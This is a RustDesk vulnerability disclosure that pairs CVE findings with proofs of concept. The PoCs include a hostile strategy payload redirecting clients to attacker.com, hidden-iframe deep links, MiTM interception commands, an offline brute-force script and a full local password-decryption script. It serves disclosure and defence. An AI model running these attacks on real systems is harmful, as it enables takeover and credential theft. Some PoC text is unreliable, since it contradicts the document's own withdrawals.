Published using Google Docs
RustDesk Details and PoC's
Updated automatically every 5 minutes

TLP:GREEN

RustDesk Findings and POC’s

Date: March 5, 2026

Updated: June 22, 2026
Credit: Erez Kalman

1. Summary

Contains detailed findings and PoC’s of published CVEs

2. Detailed Findings

2.1 Pseudo-Encryption of Configuration Strings

Field

Value

CWEs

CWE-327 (Use of Broken Crypto Algorithm), CWE-684 (Incorrect Provision of Specified Functionality)

Platforms

All — Linux, macOS, Windows, Android, iOS, Web clients

Affected Versions

RustDesk Client ≤ 1.4.5, Server Pro ≤ 1.7.5, OSS Server ≤ 1.1.15

Source Files

Client: flutter/lib/common.dart (parseRustdeskUri), hbb_common/src/config.rs (config parsing). Server Pro: config generation (closed source).

Flaw: The "Encrypted Config" feature used for deployment provides no cryptographic confidentiality. Payload is JSON → Base64 → Reversed String. This is a trivially reversible encoding scheme.

Impact: Disclosure of host (ID/rendezvous server), relay (relay server), api (API server), and key (server Ed25519 public key). Possession of these four values allows an attacker to fully map the infrastructure, register rogue clients on the rendezvous server (2.9), loot Cloud Address Books (via 2.5 and 2.6), and perform targeted Direct API brute-forcing (via 2.8).

Remediation: Implement AES-256-GCM AEAD or equivalent authenticated encryption.

🔄 Update (2026-06-22): State preconditions. Config string encodes deployment values

(host/relay/api/key), not an account-password layer; preset password supports hashed storage since

1.4.7. Local permanent-password storage: 1.4.7 stores newly set passwords non-recoverably; residual

is local data-at-rest / offline guessing after local file access. Address-book "cleartext" applies

only to plaintext-HTTP; over HTTPS it is not network cleartext and the local cache is encrypted.


2.2 Strategy / Config Manipulation via Subverted API Channel

Field

Value

CWEs

CWE-345 (Insufficient Verification of Data Authenticity) [CWE-657 withdrawn — see Update]

Platforms

All native clients (Flutter-based)

Affected Versions

RustDesk Client ≤ 1.4.8, Server Pro ≤ 1.7.5

Source Files

Client: src/hbbs_http/sync.rs (strategy merge), hbb_common/src/config.rs (Config::set_options())

Flaw: The Strategy API allows a rogue server to override local host security policies. src/hbbs_http/sync.rs blindly merges strategy.config_options. Config::set_options() in config.rs ignores the local allow-remote-config-modification toggle. The client applies the settings hierarchy Override > Strategy > User > Default, meaning strategy-pushed values supersede all user-configured settings.

Impact: A rogue API server (or MiTM via 2.4, or re-homed client via 2.6) can:

All of the above ignore the user's explicit local "disable" choice.

Remediation: Enforce runtime toggle checks in config.rs. Implement Payload Signing using the server's private key.

🔄 Update (2026-06-22): Reframed — NOT unauthenticated remote injection. Client applies strategy only from its configured API server's heartbeat (sync.rs); server-side edit/assign is

permission-controlled. Payload unsigned (CWE-345), protected by TLS to that endpoint. Exploitable only via a subverted API channel (plaintext HTTP, compromised/rogue endpoint, client pointed elsewhere, or non-default allow-insecure-tls-fallback). CVSS 8.3 High (AT:P). CWE-657 dropped.


2.3 Zero-Click Password Overwrite via Deep Link

Field

Value

CWEs

CWE-285 (Improper Authorization), CWE-352 (Cross-Site Request Forgery)

Platforms

Linux, macOS, Windows, Android

Affected Versions

RustDesk Client ≤ 1.4.5 (all Flutter-based builds)

Source Files

Client: flutter/lib/common.dart (URI handler), src/flutter_ffi.rs (mainSetPermanentPassword)

Flaw: Flutter URI handlers bypass Rust-level privilege checks via the FFI (Foreign Function Interface). common.dart handles rustdesk://password/<PWD> by calling FFI bind.mainSetPermanentPassword directly. Bypasses the is_root() check present in the CLI. It is Silent and Unconfirmed.

Impact: Immediate machine takeover by setting a known password.

Platform Note: iOS is excluded — it does not support being controlled, so setting a permanent password has no practical impact. Web clients do not register URI scheme handlers.

Remediation: Synchronize privilege logic between CLI and GUI. Implement configuration (client and server side) allowing this capability to be disabled (default), possibly only allowing time-limited signed & encrypted triggers (using server private key).

🔄 Update (2026-06-22): Conditional, not default. rustdesk://config and rustdesk://password are

mobile-only and ignored unless allow-deep-link-server-settings / allow-deep-link-password (allow-*,

default off — verified 1.4.8) are enabled. Desktop unaffected. Remove any "zero-click by default."



2.4 Improper Certificate Validation (TLS Fallback)

🔄 Update (2026-06-22): WITHDRAWN — Rejected. The "automatically retries with

danger_accept_invalid_certs(true)" claim is false by default. get_cached_tls_accept_invalid_cert()

returns Some(false) unless 'allow-insecure-tls-fallback' (allow-* option, default off) = "Y";

the invalid-cert retry arm is reached only when the flag is None, so by default the client

fails closed (rustls → native-tls, both validating, then errors). Accepting invalid certs is an

explicit operator opt-in. Verified 1.4.5 & 1.4.8. CWE-295 and Critical 9.1 retracted.



2.5 Plaintext Credential Exfiltration

Field

Value

CWEs

CWE-522 (Insufficiently Protected Credentials) [CWE-319 conditional — applies only under a subverted API channel]

Platforms

All native clients — Primarily Pro environments

Affected Versions

RustDesk Client ≤ 1.4.8, Server Pro ≤ 1.7.5

Source Files

Client: src/hbbs_http/sync.rs (heartbeat push of preset-address-book-password). Server Pro: API protocol (closed source).

Flaw: sync.rs pushes preset-address-book-password (Address Book Secret) in raw JSON heartbeat payloads. The server API is designed to require this secret in plaintext for synchronization. If the user enters a new password in the Flutter UI, it flows via FFI to the local config; the sync loop then exfiltrates it.

Impact: Combined with 2.4, an attacker intercepts organizations' address book secrets in plaintext.

Remediation: Transition the Address Book API to a secure protocol such as SRP (Secure Remote Password).

§2.5 (CVE-2026-30796):

🔄 Update (2026-06-22): Narrowed — under normal HTTPS the heartbeat body is encrypted, so this is credential secret-minimization (CWE-522 reusable shared secret in body), NOT default cleartext

exposure. Hard CWE-319 retracted; cleartext applies only under a subverted API channel. CVSS 6.9.



2.6 Zero-Click Infrastructure Hijack (rustdesk://config/)

Field

Value

CWEs

CWE-862 (Missing Authorization), CWE-749 (Exposed Dangerous Method or Function)

Platforms

Linux, macOS, Windows, Android, iOS

Affected Versions

RustDesk Client ≤ 1.4.5 (all Flutter-based builds)

Source Files

Client: flutter/lib/common.dart (importConfig via URI handler)

Flaw: A rogue URI can forcibly re-home a client to an attacker server via FFI. common.dart calls importConfig without confirmation. It is Silent on mobile.

Impact: Points the client to a malicious API/Relay, initiating a full attack chain: upon re-homing, the client's heartbeat sync loop connects to the attacker's API server, which can then deliver rogue strategy payloads (2.2) to clear whitelists/escalate access modes, exfiltrate address book credentials (2.5), set a known password (2.3), or kill manageability (2.7).

Platform Note: iOS is included — while it cannot be controlled, re-homing its API server enables address book credential exfiltration (2.5). Web clients do not register URI scheme handlers.

Remediation: Require administrative elevation and implementation of confirmation modals or configuration (client and server side) allowing this capability to be disabled (default), possibly only allowing time-limited signed & encrypted triggers (using server private key).

🔄 Update (2026-06-22): Conditional, not default. rustdesk://config and rustdesk://password are

mobile-only and ignored unless allow-deep-link-server-settings / allow-deep-link-password (allow-*,

default off — verified 1.4.8) are enabled. Desktop unaffected. Remove any "zero-click by default."



2.7 Remote Denial of Service via Kill-Switch

Field

Value

CWEs

CWE-345 (Insufficient Verification of Data Authenticity), CWE-755 (Improper Handling of Exceptional Conditions)

Platforms

All native clients

Affected Versions

RustDesk Client ≤ 1.4.8, Server Pro ≤ 1.7.5

Source Files

Client: src/hbbs_http/sync.rs (heartbeat loop, stop-service handler)

Flaw: Heartbeat loop kills management if stop-service: "Y" is received in the Strategy payload. The payload is not authenticated — any entity controlling the API endpoint (including a rogue server from 2.6) can issue this command.

Impact: Permanent loss of remote manageability (Remote DoS).

Remediation: Remove the stop-service remote-kill logic, or require time-limited signed payloads (using server private key, server nonce, client id, client nonce).

§2.7 (CVE-2026-30798):

🔄 Update (2026-06-22): Narrowed — NOT arbitrary unauthenticated remote DoS. 'stop-service' honored

only from the configured API server (same precondition as §2.2). Impact = loss of management/

heartbeat visibility + remote control of that client. CVSS 8.2 High (AT:P).



2.8 Insecure Authentication Handshake

Field

Value

CWEs

CWE-916 (Use of Password Hash With Insufficient Computational Effort) [CWE-307 withdrawn — online attempts are rate-limited; concern is offline]

Platforms

All clients and server versions

Affected Versions

RustDesk Client ≤ 1.4.8, Server Pro ≤ 1.7.5, OSS Server ≤ 1.1.15

Source Files

Client: src/client.rs (handle_hash, handle_login_from_ui — login proof construction), src/common.rs (post_request_ — API transport). Peer auth: src/server/connection.rs (salt/challenge generation, password verification).

Flaw: Handshake entropy is entirely server-controlled — the server provides salt and challenge and the client contributes no nonce. Proof = SHA256(SHA256(pwd+salt)+ challenge), computed with no slow KDF.

Impact: Enables OFFLINE brute-forcing of a captured proof. Capture-replay is NOT viable against the legitimate server — the challenge is regenerated per connection (challenge = Config::get_auto_password(6)), so a captured proof cannot be replayed. The controlled-host peer channel is further protected by the XSalsa20-Poly1305 secretbox session negotiated after Client::secure_connection verifies the HBBS-signed host key, so it is not exposed to passive capture; the residual capture surface is the Server Pro /api login path under the 2.4 invalid-cert downgrade (CVE-2026-30790). The 1.4.7 OTP limiter and LOGIN_FAILURES counter constrain only ONLINE attempts. [GPU brute-force table below is unchanged and still applies to offline recovery.]

A single NVIDIA RTX 4090 performs raw SHA256 at ~22 GH/s (Giga-hashes per second). Since the RustDesk proof requires two nested SHA256 operations, the effective crack rate is roughly 11 GH/s.

Time Estimates (at 11 GH/s):

Password Space

Keyspace

Time to Exhaust

6-Digit PIN

10⁶

~0.00009 seconds

8-Char Lowercase+Numeric

36⁸

~4.2 minutes

8-Char Full Alphanumeric

62⁸

~5.5 hours

Remediation: Implement SRP (Secure Remote Password) for mutual authentication.

CVE-2026-30789 (RETAINED — 5.7 Medium, CWE-916): offline brute-force ONLY. Proof/stored verifier is fast SHA256, no slow KDF. Network capture not viable — proof travels inside the secure peer channel (secretbox after verifying the HBBS-signed host key) and the per-connection challenge defeats replay.

Residual: if the stored verifier (local access, §2.10) or a proof is obtained,

weak passwords crack cheaply offline. Online is rate-limited (1.4.7 OTP + LOGIN_FAILURES).

CVE-2026-30790 (Rejected): peer-path capture/replay not viable; the Pro /api login

sends the user-entered password (server-side bcrypt), NOT the double-SHA256 proof, so under HTTPS it is not network-exposed. Residual = plaintext-HTTP /api deployment (a server choice).

🔄 Update (2026-06-22, rev 2): Changing the api-server is a local, client-side action (impossible

in a locked/custom client). Impact = loss of central manageability/auditability/revocability for

that client (management evasion); server-side connection authorization AND peer authentication

remain enforced — no device access, not a server-side ACL bypass. CWE-602/841, CVSS 4.8 Medium.


2.9 Zero-Authorization Signaling & Relay Infrastructure

Field

Value

CWEs

CWE-602 (Client-Side Enforcement of Server-Side Security), CWE-841 (Improper Enforcement of Behavioral Workflow) [CWE-862 / CWE-306 withdrawn — see update note]

Platforms

All native clients

Affected Versions

RustDesk Client ≤ 1.4.8

Source Files

Client: src/rendezvous_mediator.rs.

Flaw (RETAINED — CVE-2026-30783): Server Pro ACL is delivered as strategy payloads the

client is expected to honor. The signaling (hbbs) and relay (hbbr) layers operate

independently of the API layer (port 21114), so a client that orphans its api-server config

stops receiving strategy/ACL updates yet remains fully functional on signaling/relay.

Pro's ACL is therefore API-layer-only and client-side-enforced — it provides no server-side

guarantee, so a "deleted" or restricted client can keep operating. Peer authentication

(permanent password / manual accept) still gates every session: this is client-side

enforcement of a server-side control (CWE-602 / CWE-841), NOT unauthenticated device access.

WITHDRAWN — CVE-2026-30784 (Rejected; vendor position fully accepted):

  Signaling layer (hbbs — port 21116): The handle_punch_hole_request() method in

  rendezvous_server.rs logs all punch-hole requests to the PUNCH_REQS vector but — per

  source analysis — this data is logged but not used for enforcement. Any client presenting

  the server's Ed25519 public key can register an ID, discover online peers, and initiate

  connection requests to any peer ID. The protobuf signaling protocol (PunchHoleRequest,

  RegisterPeer) contains no authentication token field.

  Relay layer (hbbr — port 21117): The relay server forwards traffic between any two clients

  that present the server key. It has no mechanism to verify whether either party is

  authorized by the admin dashboard.

Rationale: unauthenticated signaling/relay brokering is the documented design of the

open-source rendezvous/relay model, and brokering a punch-hole does not bypass peer

authentication. CWE-862 and CWE-306 are withdrawn with these claims.

Impact (RETAINED): "Zombie"/management immunity — a client that orphans api-server keeps

operating via relay while shown "deleted" on the dashboard, because revocation is

client-side-enforced.

Impact (WITHDRAWN): Rogue clients registering on hbbs and

enumerating/initiating to any peer "bypass all Pro ACL." → Registration and punch-hole

brokering are by-design and grant no access; peer auth gates the session.

Remediation: Enforce ACL/revocation server-side rather than relying on the client to honor

strategy payloads. [Defense-in-depth only, not a vuln fix for the OSS model: signed,

time-limited, scope-limited session-authorization tokens validated by hbbs/hbbr.]

🔄 Update (2026-06-22): CVE-2026-30784 fully WITHDRAWN (rejected) — OSS hbbs/hbbr flaw paragraphs, PoC 3.9-B, CWE-862 and CWE-306 struck. CVE-2026-30783 retained and narrowed to client-side enforcement, 4.8 Medium (down from ~9.8). Client range ≤1.4.8.



2.10 Recoverable Local Password Storage

Field

Value

CWEs

CWE-257 (Storing Passwords in a Recoverable Format), CWE-321 (Use of Hard-coded Cryptographic Key), CWE-323 (Reusing a Nonce, Key Pair in Encryption), CWE-916 (Password Hash With Insufficient Computational Effort)

Platforms

Windows, Linux, macOS, FreeBSD (Android/iOS not affected — see below)

Affected Versions

RustDesk Client ≤ 1.4.5

Source Files

hbb_common/src/password_security.rs (symmetric_crypt, encrypt_str_or_original), hbb_common/src/config.rs (field encryption callsites), hbb_common/src/lib.rs (get_uuid), machine-uid/src/lib.rs (per-OS UID retrieval)

Flaw: The RustDesk client stores five categories of sensitive secrets in local TOML configuration files using reversible symmetric encryption with a key derived directly from a world-readable machine identifier. Any local user on a desktop OS can recover all stored secrets.

Secrets Protected (all recoverable via the same encrypt_str_or_original / encrypt_vec_or_original mechanism):

Secret

Config File

Field

Permanent password

RustDesk.toml

password

RustDesk ID

RustDesk.toml

enc_id

Unlock PIN

RustDesk2.toml

unlock_pin

SOCKS5 proxy password

RustDesk2.toml

socks.password

Saved peer passwords

Per-peer .toml

password

Encryption Details (from hbb_common/src/password_security.rs):

Machine UID Sources (from rustdesk-org/machine-uid crate):

OS

Exact Source

Access Level

Windows

Registry: HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid

Any user — KEY_READ, no admin

Linux

/var/lib/dbus/machine-id or /etc/machine-id

Any user — world-readable (0444 per systemd spec)

macOS

ioreg -rd1 -c IOPlatformExpertDevice → IOPlatformUUID

Any user — unprivileged command. Returns the same hardware UUID on every invocation (stored in NVRAM, derived from primary NIC MAC).

FreeBSD

/etc/hostid or kenv -q smbios.system.uuid

Any user — world-readable

Android

N/A — get_uuid() falls back to Ed25519 public key

App-sandboxed — not affected

iOS

N/A — same keypair fallback

App-sandboxed — not affected

Additional Exposure Vectors:

Impact: Any local user on Windows, Linux, macOS, or FreeBSD can recover the permanent access password, all saved peer passwords, the RustDesk ID, the unlock PIN, and SOCKS5 proxy credentials. On Windows, this chains with CVE-2026-2490 for remote exploitation.

Remediation: Replace reversible encryption with one-way hashing (bcrypt/Argon2) for verification-only secrets (permanent password). For secrets that must be recoverable (peer passwords, proxy credentials), use OS-native credential stores (Windows DPAPI, macOS Keychain, Linux Secret Service / libsecret). Eliminate the fixed zero nonce. Apply a proper KDF to the machine UID before use as a key.

🔄 Update (2026-06-22): State preconditions. Config string encodes deployment values

(host/relay/api/key), not an account-password layer; preset password supports hashed storage since

1.4.7. Local permanent-password storage: 1.4.7 stores newly set passwords non-recoverably; residual

is local data-at-rest / offline guessing after local file access. Address-book "cleartext" applies

only to plaintext-HTTP; over HTTPS it is not network cleartext and the local cache is encrypted.



3. Proof of Concept (PoC)

3.1 Config Decoder (2.1)

import base64, json

def decode(s):

    return base64.b64decode(s[::-1]).decode('utf-8')

# Decode the "encrypted" config string

config_json = decode("==AclRnbp9mYvRHclN2clhWZsFmYyV3c")

config = json.loads(config_json)

# All four infrastructure coordinates are now exposed:

# config["host"]  — ID/rendezvous server (hbbs)

# config["relay"] — Relay server (hbbr)

# config["api"]   — API server (Pro: port 21114)

# config["key"]   — Server Ed25519 public key

print(json.dumps(config, indent=2))


3.2 Strategy Hijack — Whitelist/ACL Bypass (2.2)

Malicious API response to clear IP whitelists, escalate access, and re-enable disabled features:

{

  "strategy": {

    "config_options": {

      "whitelist": "",

      "access-mode": "full",

      "enable-keyboard": "Y",

      "enable-file-transfer": "Y",

      "enable-terminal": "Y",

      "enable-camera": "Y",

      "enable-remote-restart": "Y",

      "api-server": "http://attacker.com"

    }

  }

}

3.3 Silent Password Overwrite (2.3)

<iframe src="rustdesk://password/attacker_pwd" style="display:none;"></iframe>


3.4 MiTM Handshake Trigger (2.4)

# 1. Position as MiTM between client and api.rustdesk.com

# Using mitmproxy to force TLS handshake failure and capture fallback traffic:

# Terminal 1: Set up transparent proxy with invalid cert

mitmproxy --mode transparent --listen-port 8080 \

  --set ssl_insecure=true \

  --set confdir=~/.mitmproxy_rustdesk

# Terminal 2: Redirect target traffic (Linux gateway/attacker machine)

iptables -t nat -A PREROUTING -p tcp -s <victim_ip> \

  --dport 443 -j REDIRECT --to-port 8080

# 2. Client TLS handshake fails against mitmproxy's cert.

# 3. Client automatically retries with danger_accept_invalid_certs(true).

# 4. All API traffic (credentials, heartbeats, strategies) is now in cleartext

#    within the mitmproxy session. Export captured flows:

mitmdump -r flows.mitm -w captured_api_traffic.txt


3.5 Credential Harvesting Log (2.5)

Client heartbeat payload captured via MiTM (2.4):

{

  "id": "987654321",

  "preset-address-book-password": "SECRET_PASSWORD_IN_PLAINTEXT"

}

3.6 Silent Infrastructure Hijack (2.6)

<!-- Re-home client to attacker server. Upon reconnect, the client's

     heartbeat sync loop will contact attacker's API, which delivers

     rogue strategy payloads (3.2) to clear whitelists and escalate access. -->

<iframe src="rustdesk://config/==AclRnbp9mYvRHclN2clhWZsFmYyV3c"

        style="display:none;"></iframe>

3.7 Service Kill-Switch DoS (2.7)

{

  "strategy": {

    "config_options": {

      "stop-service": "Y"

    }

  }

}


3.8 Auth Proof Capture & Replay (2.8)

# Step 1: Position as MiTM (see 2.4 for setup)

# Capture the authentication exchange from client to API server:

# Intercepted handshake (client -> server):

# POST /api/login

# {"id": "victim_user", "password": "<SHA256_PROOF>"}

# The proof is static for the same salt+challenge pair.

# Since the server controls both, a rogue server can reissue

# the same salt+challenge to harvest reusable proofs.

# Step 2: Replay is NOT viable against the legitimate server.

# The challenge is regenerated per connection (challenge = Config::get_auto_password(6)),

# so a captured proof is bound to a one-time challenge and will be rejected on reuse.

curl -X POST https://legitimate-api.example.com/api/login \

  -H "Content-Type: application/json" \

  -d '{"id": "victim_user", "password": "CAPTURED_SHA256_PROOF"}'

# Step 3: Offline brute-force the captured proof.

#   proof = SHA256( SHA256(password + salt) + challenge )   # byte-wise concat

#   No built-in hashcat mode matches this nested construction

#   (-m 1410 = sha256($pass.$salt), single round — NOT equivalent).

#   Use a custom hashcat OpenCL module, or a GPU/CPU harness. CPU reference:

import hashlib, itertools, string

salt      = b"<captured_salt>"        # server-provided

challenge = b"<captured_challenge>"   # server-provided (one-time, per connection)

target    = bytes.fromhex("<captured_proof_hex>")

def proof(pw):

    inner = hashlib.sha256(pw + salt).digest()

    return hashlib.sha256(inner + challenge).digest()

cs = (string.ascii_lowercase + string.digits).encode()

for n in range(1, 9):

    for c in itertools.product(cs, repeat=n):

        if proof(bytes(c)) == target:

            print("FOUND:", bytes(c).decode()); raise SystemExit

🔄 Update (2026-06-22): Removed the replay curl step — the per-connection challenge makes a

captured proof non-replayable. PoC now shows capture + offline brute-force only, consistent

with the §2.8 update (CWE-294 withdrawn).


3.9 Zero-Authorization Signaling & Relay (2.9)

# PoC A: Management Immunity (Relay layer)

# ========================================

# 1. Orphan the API channel to stop receiving strategy/ACL updates:

sed -i 's|api-server = ".*"|api-server = ""|' ~/.config/rustdesk/RustDesk2.toml

# 2. Establish a session via the Relay (hbbr).

#    The relay has no authorization check — any client with the

#    server public key can route traffic through it.

# 3. Client is now immune to "Delete" or "Disconnect" commands

#    from the admin dashboard. The server cannot revoke relay access.


# PoC B: Rogue Client — Signaling layer (hbbs) — WITHDRAWN (CVE-2026-30784 rejected)

# PoC B struck- It demonstrates by-design OSS signaling behavior: registering

# on hbbs and brokering a punch-hole grants no access — peer authentication still gates

# the session. Retained only as evidence the rejected claim does not yield device access.

🔄 Update (2026-06-22): PoC B removed/struck — registration + punch-hole brokering is by-design and does not bypass peer auth (CVE-2026-30784 rejected). PoC A retained as the CVE-2026-30783 management-immunity demonstration.


3.10 Recoverable Local Password Decryption (2.10)

#!/usr/bin/env python3

"""

RustDesk TOML Password Recovery PoC (2.10)

Recovers all locally stored secrets from RustDesk configuration files.

Encryption scheme (from hbb_common/src/password_security.rs):

  Algorithm : NaCl secretbox (XSalsa20-Poly1305)

  Key       : machine_uid zero-padded to 32 bytes (no KDF)

  Nonce     : fixed all-zeros [0u8; 24]

  Format    : "00" + Base64(ciphertext)

  Fallback  : Ed25519 public key from same TOML (desktop only)

Machine UID sources (from rustdesk-org/machine-uid crate):

  Windows : HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid

  Linux   : /var/lib/dbus/machine-id  or  /etc/machine-id

  macOS   : ioreg -rd1 -c IOPlatformExpertDevice -> IOPlatformUUID

            (hardware UUID in NVRAM; stable across reboots)

  FreeBSD : /etc/hostid  or  kenv -q smbios.system.uuid

Requires: pip install pynacl

"""

import base64, platform, subprocess, sys, os, re

# ============================================================

# Step 1: Obtain the machine UID

# Mirrors rustdesk-org/machine-uid crate src/lib.rs exactly.

# All sources are readable by any unprivileged local user.

# ============================================================

def get_machine_uid():

    system = platform.system()

    if system == "Windows":

        # Registry: HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid

        # Access: KEY_READ | KEY_WOW64_64KEY — any user, no admin.

        import winreg

        key = winreg.OpenKey(

            winreg.HKEY_LOCAL_MACHINE,

            r"SOFTWARE\Microsoft\Cryptography",

            0,

            winreg.KEY_READ | winreg.KEY_WOW64_64KEY

        )

        guid, _ = winreg.QueryValueEx(key, "MachineGuid")

        winreg.CloseKey(key)

        return guid.strip()

    elif system == "Linux":

        # /var/lib/dbus/machine-id (primary) or /etc/machine-id (fallback)

        # World-readable (mode 0444) per systemd specification.

        for path in ["/var/lib/dbus/machine-id", "/etc/machine-id"]:

            if os.path.exists(path):

                with open(path, "r") as f:

                    return f.read().strip()

        raise FileNotFoundError("No machine-id found")

    elif system == "Darwin":  # macOS

        # ioreg -rd1 -c IOPlatformExpertDevice -> IOPlatformUUID

        # Unprivileged command. Returns same hardware UUID every time

        # (stored in NVRAM, derived from primary NIC MAC address).

        output = subprocess.check_output(

            ["ioreg", "-rd1", "-c", "IOPlatformExpertDevice"],

            text=True

        )

        for line in output.splitlines():

            if "IOPlatformUUID" in line:

                uuid = line.rsplit("=", 1)[1].strip().strip('"')

                return uuid

        raise RuntimeError("IOPlatformUUID not found")

    elif system == "FreeBSD":

        # /etc/hostid (primary) or kenv -q smbios.system.uuid (fallback)

        # World-readable.

        if os.path.exists("/etc/hostid"):

            with open("/etc/hostid", "r") as f:

                return f.read().strip()

        output = subprocess.check_output(

            ["kenv", "-q", "smbios.system.uuid"],

            text=True

        )

        return output.strip()

    else:

        raise RuntimeError(f"Unsupported OS: {system}")

# ============================================================

# Step 2: Derive the encryption key

# Mirrors password_security.rs symmetric_crypt() lines 213-217:

#

#   let uuid = crate::get_uuid();       // raw bytes

#   let mut keybuf = uuid.clone();

#   keybuf.resize(secretbox::KEYBYTES, 0); // zero-pad to 32

#   let key = secretbox::Key(keybuf);

#

# No KDF. No stretching. Raw identifier -> key.

# ============================================================

def derive_key(uid_string):

    uid_bytes = uid_string.encode("utf-8")

    return uid_bytes[:32].ljust(32, b'\x00')

# ============================================================

# Step 3: Decrypt

# Mirrors password_security.rs:

#

#   - Strip "00" version prefix (VERSION_LEN = 2)

#   - Base64-decode payload

#   - secretbox::open(ciphertext, nonce=[0;24], key)

#

# Nonce is hardcoded: Nonce([0; secretbox::NONCEBYTES])

# This means encryption is fully deterministic.

#

# Fallback (desktop only, lines 224-234):

#   If uuid-based decryption fails, try Ed25519 public key

#   from Config::get_existing_key_pair().1 (stored in TOML).

# ============================================================

ZERO_NONCE = b'\x00' * 24

def decrypt_field(encrypted_str, key):

    if not encrypted_str or len(encrypted_str) <= 2:

        return encrypted_str

    if not encrypted_str.startswith("00"):

        return encrypted_str  # Plaintext (pre-1.2.0)

    try:

        ciphertext = base64.b64decode(encrypted_str[2:])

    except Exception:

        return encrypted_str

    try:

        import nacl.secret

        box = nacl.secret.SecretBox(key)

        return box.decrypt(ciphertext, nonce=ZERO_NONCE) \

                   .decode("utf-8", errors="replace")

    except Exception:

        return None

def decrypt_with_fallback(encrypted_str, uid_key, pk_bytes):

    """Try machine UID key; on failure, fall back to Ed25519 PK."""

    result = decrypt_field(encrypted_str, uid_key)

    if result is not None:

        return result, "machine_uid"

    if pk_bytes:

        pk_key = pk_bytes[:32].ljust(32, b'\x00')

        result = decrypt_field(encrypted_str, pk_key)

        if result is not None:

            return result, "ed25519_pk_fallback"

    return encrypted_str, "failed"

# ============================================================

# Step 4: Locate and parse TOML files

# ============================================================

def find_config_paths():

    system = platform.system()

    paths = []

    if system == "Windows":

        appdata = os.environ.get("APPDATA", "")

        paths.append(os.path.join(appdata, "RustDesk", "config"))

        paths.append(r"C:\Windows\ServiceProfiles\LocalService"

                     r"\AppData\Roaming\RustDesk\config")

    elif system == "Linux":

        paths.append(os.path.expanduser("~/.config/rustdesk"))

        paths.append("/root/.config/rustdesk")

    elif system == "Darwin":

        paths.append(os.path.expanduser(

            "~/Library/Preferences/RustDesk"))

    elif system == "FreeBSD":

        paths.append(os.path.expanduser("~/.config/rustdesk"))

        paths.append("/root/.config/rustdesk")

    return [p for p in paths if os.path.isdir(p)]

def parse_toml_field(filepath, field_name):

    if not os.path.exists(filepath):

        return None

    with open(filepath, "r", errors="replace") as f:

        for line in f:

            line = line.strip()

            if line.startswith(field_name + " "):

                m = re.search(r"'([^']*)'|\"([^\"]*)\"", line)

                if m:

                    return m.group(1) or m.group(2)

    return None

def extract_key_pair_pk(filepath):

    """Extract Ed25519 public key bytes from key_pair field."""

    if not os.path.exists(filepath):

        return None

    with open(filepath, "r", errors="replace") as f:

        content = f.read()

    m = re.search(

        r'key_pair\s*=\s*\[\s*\[([\d\s,]+)\]\s*,\s*\[([\d\s,]+)\]',

        content)

    if m:

        pk_ints = [int(x.strip()) for x in m.group(2).split(",")

                   if x.strip()]

        return bytes(pk_ints)

    return None

# ============================================================

# Main

# ============================================================

def main():

    print("=" * 60)

    print("RustDesk Local Password Recovery PoC (2.10)")

    print("=" * 60)

    try:

        uid = get_machine_uid()

        print(f"\n[+] Machine UID: {uid}")

        print(f"    Source: {platform.system()}")

    except Exception as e:

        print(f"[-] Failed to get machine UID: {e}")

        sys.exit(1)

    uid_key = derive_key(uid)

    print(f"[+] Derived key (hex): {uid_key.hex()}")

    config_dirs = find_config_paths()

    if not config_dirs:

        print("[-] No RustDesk config directories found")

        sys.exit(1)

    for config_dir in config_dirs:

        print(f"\n[*] Scanning: {config_dir}")

        core_toml = os.path.join(config_dir, "RustDesk.toml")

        pk_bytes = extract_key_pair_pk(core_toml)

        for field in ["password", "enc_id"]:

            val = parse_toml_field(core_toml, field)

            if val:

                dec, method = decrypt_with_fallback(

                    val, uid_key, pk_bytes)

                label = ("Permanent Password" if field == "password"

                         else "RustDesk ID")

                print(f"    [{label}] {dec}  (via {method})")

        ext_toml = os.path.join(config_dir, "RustDesk2.toml")

        val = parse_toml_field(ext_toml, "unlock_pin")

        if val:

            dec, method = decrypt_with_fallback(

                val, uid_key, pk_bytes)

            print(f"    [Unlock PIN] {dec}  (via {method})")

        socks_pw = parse_toml_field(ext_toml, "password")

        if socks_pw:

            dec, method = decrypt_with_fallback(

                socks_pw, uid_key, pk_bytes)

            print(f"    [SOCKS5 Password] {dec}  (via {method})")

        peers_dir = os.path.join(config_dir, "peers")

        if os.path.isdir(peers_dir):

            for pf in os.listdir(peers_dir):

                if pf.endswith(".toml"):

                    pp = os.path.join(peers_dir, pf)

                    pw = parse_toml_field(pp, "password")

                    if pw:

                        dec, method = decrypt_with_fallback(

                            pw, uid_key, pk_bytes)

                        pid = pf.replace(".toml", "")

                        print(f"    [Peer {pid}] "

                              f"{dec}  (via {method})")

    print(f"\n{'=' * 60}")

    print("All secrets above are recoverable by any unprivileged")

    print("local user on this machine.")

    print(f"{'=' * 60}")

if __name__ == "__main__":

    main()

Page  of                                 Credit: Erez Kalman